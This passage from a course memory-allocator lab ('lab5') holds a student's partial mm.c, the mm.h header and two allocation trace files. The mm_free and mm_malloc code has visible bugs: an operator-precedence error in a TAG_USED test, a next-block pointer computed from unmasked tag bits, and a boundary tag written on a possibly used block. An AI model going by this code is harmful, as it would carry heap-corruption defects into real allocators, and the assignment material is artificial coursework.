152 | FREE_LIST_HEAD = freeBlock;
153 | }
154 |
155 | /* Remove a free block from the free list. */
156 | static void removeFreeBlock(BlockInfo* freeBlock) {
157 | BlockInfo *nextFree, *prevFree;
158 |
159 | nextFree = freeBlock->next;
160 | prevFree = freeBlock->prev;
161 |
162 | // If the next block is not null, patch its prev pointer.
163 | if (nextFree != NULL) {
164 | nextFree->prev = prevFree;
165 | }
166 |
167 | // If we're removing the head of the free list, set the head to be
168 | // the next block, otherwise patch the previous block's next pointer.
169 | if (freeBlock == FREE_LIST_HEAD) {
170 | FREE_LIST_HEAD = nextFree;
171 | } else {
172 | prevFree->next = nextFree;
173 | }
174 | }
175 |
176 | /* Coalesce 'oldBlock' with any preceeding or following free blocks. */
177 | static void coalesceFreeBlock(BlockInfo* oldBlock) {
178 | BlockInfo *blockCursor;
179 | BlockInfo *newBlock;
180 | BlockInfo *freeBlock;
181 | // size of old block
182 | size_t oldSize = SIZE(oldBlock->sizeAndTags);
183 | // running sum to be size of final coalesced block
184 | size_t newSize = oldSize;
185 |
186 | // Coalesce with any preceding free block
187 | blockCursor = oldBlock;
188 | while ((blockCursor->sizeAndTags & TAG_PRECEDING_USED)==0) {
189 | // While the block preceding this one in memory (not the
190 | // prev. block in the free list) is free:
191 |
192 | // Get the size of the previous block from its boundary tag.
193 | size_t size = SIZE(*((size_t*)UNSCALED_POINTER_SUB(blockCursor, WORD_SIZE)));
194 | // Use this size to find the block info for that block.
195 | freeBlock = (BlockInfo*)UNSCALED_POINTER_SUB(blockCursor, size);
196 | // Remove that block from free list.
197 | removeFreeBlock(freeBlock);
198 |
199 | // Count that block's size and update the current block pointer.
200 | newSize += size;
201 | blockCursor = freeBlock;
202 | }
203 | newBlock = blockCursor;
204 |
205 | // Coalesce with any following free block.
206 | // Start with the block following this one in memory
207 | blockCursor = (BlockInfo*)UNSCALED_POINTER_ADD(oldBlock, oldSize);
208 | while ((blockCursor->sizeAndTags & TAG_USED)==0) {
209 | // While the block is free:
210 |
211 | size_t size = SIZE(blockCursor->sizeAndTags);
212 | // Remove it from the free list.
213 | removeFreeBlock(blockCursor);
214 | // Count its size and step to the following block.
215 | newSize += size;
216 | blockCursor = (BlockInfo*)UNSCALED_POINTER_ADD(blockCursor, size);
217 | }
218 |
219 | // If the block actually grew, remove the old entry from the free
220 | // list and add the new entry.
221 | if (newSize != oldSize) {
222 | // Remove the original block from the free list
223 | removeFreeBlock(oldBlock);
224 |
225 | // Save the new size in the block info and in the boundary tag
226 | // and tag it to show the preceding block is used (otherwise, it
227 | // would have become part of this one!).
228 | newBlock->sizeAndTags = newSize | TAG_PRECEDING_USED;
229 | // The boundary tag of the preceding block is the word immediately
230 | // preceding block in memory where we left off advancing blockCursor.
231 | *(size_t*)UNSCALED_POINTER_SUB(blockCursor, WORD_SIZE) = newSize | TAG_PRECEDING_USED;
232 |
233 | // Put the new block in the free list.
234 | insertFreeBlock(newBlock);
235 | }
236 | return;
237 | }
238 |
239 | /* Get more heap space of size at least reqSize. */
240 | static void requestMoreSpace(size_t reqSize) {
241 | size_t pagesize = mem_pagesize();
242 | size_t numPages = (reqSize + pagesize - 1) / pagesize;
243 | BlockInfo *newBlock;
244 | size_t totalSize = numPages * pagesize;
245 | size_t prevLastWordMask;
246 |
247 | void* mem_sbrk_result = mem_sbrk(totalSize);
248 | if ((size_t)mem_sbrk_result == -1) {
249 | printf("ERROR: mem_sbrk failed in requestMoreSpace\n");
250 | exit(0);
251 | }
252 | newBlock = (BlockInfo*)UNSCALED_POINTER_SUB(mem_sbrk_result, WORD_SIZE);
253 |
254 | /* initialize header, inherit TAG_PRECEDING_USED status from the
255 | previously useless last word however, reset the fake TAG_USED
256 | bit */
257 | prevLastWordMask = newBlock->sizeAndTags & TAG_PRECEDING_USED;
258 | newBlock->sizeAndTags = totalSize | prevLastWordMask;
259 | // Initialize boundary tag.
260 | ((BlockInfo*)UNSCALED_POINTER_ADD(newBlock, totalSize - WORD_SIZE))->sizeAndTags =
261 | totalSize | prevLastWordMask;
262 |
263 | /* initialize "new" useless last word
264 | the previous block is free at this moment
265 | but this word is useless, so its use bit is set
266 | This trick lets us do the "normal" check even at the end of
267 | the heap and avoid a special check to see if the following
268 | block is the end of the heap... */
269 | *((size_t*)UNSCALED_POINTER_ADD(newBlock, totalSize)) = TAG_USED;
270 |
271 | // Add the new block to the free list and immediately coalesce newly
272 | // allocated memory space
273 | insertFreeBlock(newBlock);
274 | coalesceFreeBlock(newBlock);
275 | }
276 |
277 |
278 | /* Initialize the allocator. */
279 | int mm_init () {
280 | // Head of the free list.
281 | BlockInfo *firstFreeBlock;
282 |
283 | // Initial heap size: WORD_SIZE byte heap-header (stores pointer to head
284 | // of free list), MIN_BLOCK_SIZE bytes of space, WORD_SIZE byte heap-footer.
285 | size_t initSize = WORD_SIZE+MIN_BLOCK_SIZE+WORD_SIZE;
286 | size_t totalSize;
287 |
288 | void* mem_sbrk_result = mem_sbrk(initSize);
289 | // printf("mem_sbrk returned %p\n", mem_sbrk_result);
290 | if ((ssize_t)mem_sbrk_result == -1) {
291 | printf("ERROR: mem_sbrk failed in mm_init, returning %p\n",
292 | mem_sbrk_result);
293 | exit(1);
294 | }
295 |
296 | firstFreeBlock = (BlockInfo*)UNSCALED_POINTER_ADD(mem_heap_lo(), WORD_SIZE);
297 |
298 | // Total usable size is full size minus heap-header and heap-footer words
299 | // NOTE: These are different than the "header" and "footer" of a block!
300 | // The heap-header is a pointer to the first free block in the free list.
301 | // The heap-footer is used to keep the data structures consistent (see
302 | // requestMoreSpace() for more info, but you should be able to ignore it).
303 | totalSize = initSize - WORD_SIZE - WORD_SIZE;
304 |
305 | // The heap starts with one free block, which we initialize now.
306 | firstFreeBlock->sizeAndTags = totalSize | TAG_PRECEDING_USED;
307 | firstFreeBlock->next = NULL;
308 | firstFreeBlock->prev = NULL;
309 | // boundary tag
310 | *((size_t*)UNSCALED_POINTER_ADD(firstFreeBlock, totalSize - WORD_SIZE)) = totalSize | TAG_PRECEDING_USED;
311 |
312 | // Tag "useless" word at end of heap as used.
313 | // This is the is the heap-footer.
314 | *((size_t*)UNSCALED_POINTER_SUB(mem_heap_hi(), WORD_SIZE - 1)) = TAG_USED;
315 |
316 | // set the head of the free list to this new free block.
317 | FREE_LIST_HEAD = firstFreeBlock;
318 | return 0;
319 | }
320 |
321 |
322 | // TOP-LEVEL ALLOCATOR INTERFACE ------------------------------------
323 |
324 |
325 | /* Allocate a block of size size and return a pointer to it. */
326 | void* mm_malloc (size_t size) {
327 | size_t reqSize;
328 | BlockInfo * ptrFreeBlock = NULL;
329 | BlockInfo * ptrNextBlock = NULL;
330 | size_t blockSize;
331 | size_t precedingBlockUseTag;
332 | size_t* ptrNextBlockFooter = NULL;
333 |
334 | // Zero-size requests get NULL.
335 | if (size == 0) {
336 | return NULL;
337 | }
338 |
339 | // Add one word for the initial size header.
340 | // Note that we don't need to boundary tag when the block is used!
341 | size += WORD_SIZE;
342 | if (size <= MIN_BLOCK_SIZE) {
343 | // Make sure we allocate enough space for a blockInfo in case we
344 | // free this block (when we free this block, we'll need to use the
345 | // next pointer, the prev pointer, and the boundary tag).
346 | reqSize = MIN_BLOCK_SIZE;
347 | } else {
348 | // Round up for correct alignment
349 | reqSize = ALIGNMENT * ((size + ALIGNMENT - 1) / ALIGNMENT);
350 | }
351 |
352 | // Implement mm_malloc. You can change or remove any of the above
353 | // code. It is included as a suggestion of where to start.
354 | // You will want to replace this return statement...
355 |
356 | ptrFreeBlock = searchFreeList(reqSize);
357 |
358 | if(!ptrFreeBlock)
359 | {
360 | requestMoreSpace(reqSize);
361 | ptrFreeBlock = searchFreeList(reqSize);
362 | }
363 |
364 | blockSize = SIZE(ptrFreeBlock->sizeAndTags);
365 |
366 | if(blockSize < reqSize + MIN_BLOCK_SIZE)
367 | {
368 | reqSize = blockSize;
369 | }
370 |
371 | precedingBlockUseTag = ptrFreeBlock->sizeAndTags & TAG_PRECEDING_USED;
372 | ptrFreeBlock->sizeAndTags = reqSize | precedingBlockUseTag | TAG_USED;
373 |
374 | ptrNextBlock = (BlockInfo*)UNSCALED_POINTER_ADD(ptrFreeBlock,reqSize);
375 |
376 | if(reqSize != blockSize)
377 | {
378 | ptrNextBlock->sizeAndTags = (blockSize - reqSize) | TAG_PRECEDING_USED;
379 |
380 | ptrNextBlockFooter = (size_t *)UNSCALED_POINTER_ADD(ptrFreeBlock,blockSize - WORD_SIZE);
381 |
382 | (*ptrNextBlockFooter) = ptrNextBlock->sizeAndTags;
383 |
384 | insertFreeBlock(ptrNextBlock);
385 | }
386 | else
387 | {
388 | ptrNextBlock->sizeAndTags = ptrNextBlock->sizeAndTags | TAG_PRECEDING_USED;
389 |
390 | ptrNextBlockFooter = (size_t*)UNSCALED_POINTER_ADD(ptrNextBlock,SIZE(ptrNextBlock->sizeAndTags) - WORD_SIZE);
391 |
392 | (*ptrNextBlockFooter) = ptrNextBlock->sizeAndTags;
393 | }
394 | removeFreeBlock(ptrFreeBlock);
395 |
396 |
397 | return (void*)UNSCALED_POINTER_ADD(ptrFreeBlock,WORD_SIZE);
398 | }
399 |
400 | /* Free the block referenced by ptr. */
401 | void mm_free (void *ptr) {
402 | size_t payloadSize;
403 | size_t blockSize;
404 | BlockInfo * blockInfo;
405 | BlockInfo * followingBlock;
406 |
407 | // Implement mm_free. You can change or remove the declaraions
408 | // above. They are included as minor hints.
409 |
410 | BlockInfo* prev_block = NULL;
411 | BlockInfo* next_block = NULL;
412 |
413 | blockInfo = (BlockInfo*)UNSCALED_POINTER_SUB(ptr,WORD_SIZE);
414 | followingBlock = (BlockInfo *)UNSCALED_POINTER_ADD(blockInfo,blockInfo->sizeAndTags);
415 |
416 | blockSize = SIZE(blockInfo->sizeAndTags);
417 | payloadSize = blockSize - WORD_SIZE;
418 | blockInfo->sizeAndTags = blockInfo->sizeAndTags & ~TAG_USED;
419 | *(size_t *)UNSCALED_POINTER_ADD(blockInfo,payloadSize) = blockInfo->sizeAndTags;
420 | followingBlock->sizeAndTags = followingBlock->sizeAndTags & ~TAG_PRECEDING_USED;
421 |
422 | if(followingBlock->sizeAndTags & TAG_USED == 0)
423 | {
424 | *(size_t *)UNSCALED_POINTER_ADD(followingBlock,SIZE(followingBlock->sizeAndTags) - WORD_SIZE) = followingBlock->sizeAndTags;
425 | }
426 |
427 | insertFreeBlock(blockInfo);
428 | coalesceFreeBlock(blockInfo);
429 |
430 | }
431 |
432 |
433 | // Implement a heap consistency checker as needed.
434 | int mm_check() {
435 | return 0;
436 | }
437 |
438 | // Extra credit.
439 | void* mm_realloc(void* ptr, size_t size) {
440 | // ... implementation here ...
441 | return NULL;
442 | }
443 |
--------------------------------------------------------------------------------
/lab5/mm.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | extern int mm_init (void);
4 | extern void *mm_malloc (size_t size);
5 | extern void mm_free (void *ptr);
6 |
7 | // Extra credit
8 | extern void* mm_realloc(void* ptr, size_t size);
9 |
--------------------------------------------------------------------------------
/lab5/traces/short1-bal.rep:
--------------------------------------------------------------------------------
1 | 20000
2 | 6
3 | 12
4 | 1
5 | a 0 2040
6 | a 1 2040
7 | f 1
8 | a 2 48
9 | a 3 4072
10 | f 3
11 | a 4 4072
12 | f 0
13 | f 2
14 | a 5 4072
15 | f 4
16 | f 5
17 |
--------------------------------------------------------------------------------
/lab5/traces/short2-bal.rep:
--------------------------------------------------------------------------------
1 | 20000
2 | 6
3 | 12
4 | 1
5 | a 0 2040
6 | a 1 4010
7 | a 2 48
8 | a 3 4072
9 | a 4 4072
10 | a 5 4072
11 | f 0
12 | f 1
13 | f 2
14 | f 3
15 | f 4
16 | f 5
17 |
--------------------------------------------------------------------------------